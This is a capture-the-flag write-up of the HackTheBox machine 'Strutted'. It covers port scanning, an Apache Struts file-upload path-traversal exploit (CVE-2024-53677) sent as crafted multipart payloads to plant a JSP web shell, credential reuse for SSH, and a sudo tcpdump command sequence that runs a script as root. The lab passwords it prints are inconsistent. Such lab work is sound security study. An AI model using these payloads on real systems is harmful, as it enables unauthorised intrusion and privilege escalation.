Skip to content

Strutted

  • 🌐 Website: HackTheBox
  • 🔥 Level: Medium
  • 🖥️ OS: Linux
  • 🔗 Link: Strutted

Foothold

Initial Enumeration

To begin, we perform an nmap scan to identify open ports on the target machine. Using a high scan rate ensures faster results. The scan reveals two open ports: 22 (SSH) and 80 (HTTP).

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ nmap --min-rate=10000 $target -p- | tee nmap_port.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 20:58 CET
Nmap scan report for 10.10.11.59
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds

Next, we perform a service version and default script scan on the identified ports. This provides additional details about the services running on the target.

┌──(kali㉿kali)-[~/Desktop/HTB/Machines]
└─$ nmap -sV -sC $target -p22,80     
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 20:58 CET
Nmap scan report for 10.10.11.59
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.50 seconds

Exploring the Web Server

The HTTP service redirects to http://strutted.htb. To access it, we add the domain to our /etc/hosts file. Upon visiting the webpage, we find an upload functionality. The upload path follows the format yyyyMMdd_hhmmss. After uploading an image, we discover a downloadable zip file containing the source code.

webpage

Source Code Analysis

The zip file contains two important files:

  1. tomcat-users.xml: This file contains credentials for the Tomcat Manager.
  2. pom.xml: This file reveals that the application uses Apache Struts version 6.3.0.1.
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>
<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<packaging>war</packaging>
<artifactId>strutted</artifactId>
<groupId>org.strutted.htb</groupId>
<version>1.0.0</version>
<name>Strutted™</name>
<description>
Instantly upload an image and receive a unique, shareable link. Keep your images secure, accessible, and easy to share—anywhere, anytime.
</description>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
...

User Access

Exploiting CVE-2024-53677

Apache Struts version 6.3.0.1 is vulnerable to a critical file upload vulnerability (CVE-2024-53677). A proof-of-concept (PoC) script is available on GitHub. Using this, we attempt to upload a malicious file.

Exploit Details

The vulnerability allows bypassing file type restrictions by manipulating the Content-Disposition header. Using Burp Suite, we craft a payload to upload a .jsp web shell.

┌──(kali㉿kali)-[~/Desktop/HTB/Machines/Strutted]
└─$ python3 script.py
usage: script.py [-h] -u URL -p PATH [-f FILE]
script.py: error: the following arguments are required: -u/--url, -p/--path

I will use the upload path of an image I uploaded.

┌──(kali㉿kali)-[~/Desktop/HTB/Machines/Strutted]
└─$ python3 script.py -u http://strutted.htb/upload.action -p test.txt  

<CODE>
                    <div class="alert alert-danger text-center" role="alert">
                        <ul class="list-unstyled m-0">
                            Supported file types: JPG, JPEG, PNG, GIF!
                        </ul>
                    </div>
<CODE>

We can't upload txt. I use burp to see how I can exploit that CVE. CVE consist in add an other parameter in boundary specifying "Upload" instead of "upload" and put the destination path of the file. In this parameter, we can use a path traversal.

------WebKitFormBoundary4SJdrBXrOrIYhF1K
Content-Disposition: form-data; name="Upload"; filename="logo.png"
Content-Type: image/png

‰PNG


IHDRÎ:‘˜Å— cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDÿÿÿ ½§“tIMEé    ò¨!orNTÏ¢wš€IDAT‚
------WebKitFormBoundary4SJdrBXrOrIYhF1K
Content-Disposition: form-data; name="top.UploadFileName"

../../../../../test.png

------WebKitFormBoundary4SJdrBXrOrIYhF1K--

burp After some attempts, I found that the root of webapp is 2 parent directory and I have to call the file .jsp to make it work.

------WebKitFormBoundary4SJdrBXrOrIYhF1K
Content-Disposition: form-data; name="Upload"; filename="logo.png"
Content-Type: image/png

‰PNG


IHDRÎ:‘˜Å— cHRMz&€„ú€èu0ê`:˜pœºQ<bKGDÿÿÿ ½§“tIMEé
------WebKitFormBoundary4SJdrBXrOrIYhF1K
Content-Disposition: form-data; name="top.UploadFileName"

../../logo.jsp
------WebKitFormBoundary4SJdrBXrOrIYhF1K--

uploaded

This payload works. Now I will upload a webshell.

Using a reverse shell I got a terminal.

tomcat@strutted:~$ ls -la
total 20
drwxr-xr-x  5 root   root   4096 Mar 27 04:01 .
drwxr-xr-x 41 root   root   4096 Jan 15 14:30 ..
lrwxrwxrwx  1 root   root     12 Jul 20  2022 conf -> /etc/tomcat9
drwxr-xr-x  2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx  1 root   root     17 Jul 20  2022 logs -> ../../log/tomcat9
drwxr-xr-x  2 root   root   4096 Mar 27 04:01 policy
drwxrwxr-x  3 tomcat tomcat 4096 Mar 27 20:48 webapps
lrwxrwxrwx  1 root   root     19 Jul 20  2022 work -> ../../cache/tomcat9
tomcat@strutted:~$ 
tomcat@strutted:~$ ls /home
james

Maybe the password in tomcat-users.xml is his password? Let's check.

<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>

james:IT14d6SSP81k It works.

james@strutted:~$ ls
user.txt
james@strutted:~$ cat user.txt 
e363adac65675ad9da93b29b2a84e335

Privilege Escalation

Sudo Permissions

Checking sudo permissions reveals that the user james can execute tcpdump as root without a password.

james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

Exploiting tcpdump

Using GTFOBins, we craft a payload to read the root flag. The payload leverages tcpdump's ability to execute a custom command after capturing packets.

COMMAND='cat /root/root.txt > root.txt'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

With this command I found root flag in current folder.